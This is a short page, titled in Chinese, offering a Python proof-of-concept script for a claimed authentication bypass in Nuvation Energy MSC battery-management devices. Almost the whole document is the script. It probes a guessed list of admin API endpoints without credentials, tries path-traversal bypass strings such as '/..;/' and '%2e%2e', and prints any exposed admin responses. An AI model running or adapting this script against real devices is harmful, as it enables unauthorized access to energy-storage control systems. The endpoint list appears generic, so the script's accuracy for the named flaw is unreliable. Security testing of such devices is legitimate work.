CVE-2025-64121 | Nuvation Energy MSC 身份验证绕过漏洞

# CVE-2025-64121 PoC - Nuvation Energy MSC Authentication Bypass # This PoC demonstrates the authentication bypass vulnerability in MSC import requests import sys TARGET_HOST = "http://target-msc-device.local" CVE_ID = "CVE-2025-64121" def check_vulnerability(target): """Check if target is vulnerable to CVE-2025-64121""" # Method 1: Try accessing admin endpoints without authentication admin_endpoints = [ "/api/admin/config", "/api/v2/admin/settings", "/api/system/status", "/admin/management", "/api/v1/management/config" ] print(f"[*] Testing {CVE_ID} on {target}") print("[*] Attempting to bypass authentication...") for endpoint in admin_endpoints: try: url = f"{target}{endpoint}" # Send request without authentication headers response = requests.get(url, timeout=10, verify=False) if response.status_code == 200 and "admin" in response.text.lower(): print(f"[+] VULNERABLE: {endpoint} accessible without auth") print(f"[+] Response preview: {response.text[:200]}") return True elif response.status_code == 200: print(f"[*] Endpoint {endpoint} returned 200 but content unclear") except requests.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") # Method 2: Try path traversal to bypass auth bypass_paths = [ "/..;/api/admin/config", "/%2e%2e/api/admin", "/api/./admin/config" ] for path in bypass_paths: try: url = f"{target}{path}" response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: print(f"[+] Potential bypass via path: {path}") except requests.RequestException: pass print("[*] Basic check completed. Manual verification recommended.") return False if __name__ == "__main__": target = sys.argv[1] if len(sys.argv) > 1 else TARGET_HOST check_vulnerability(target)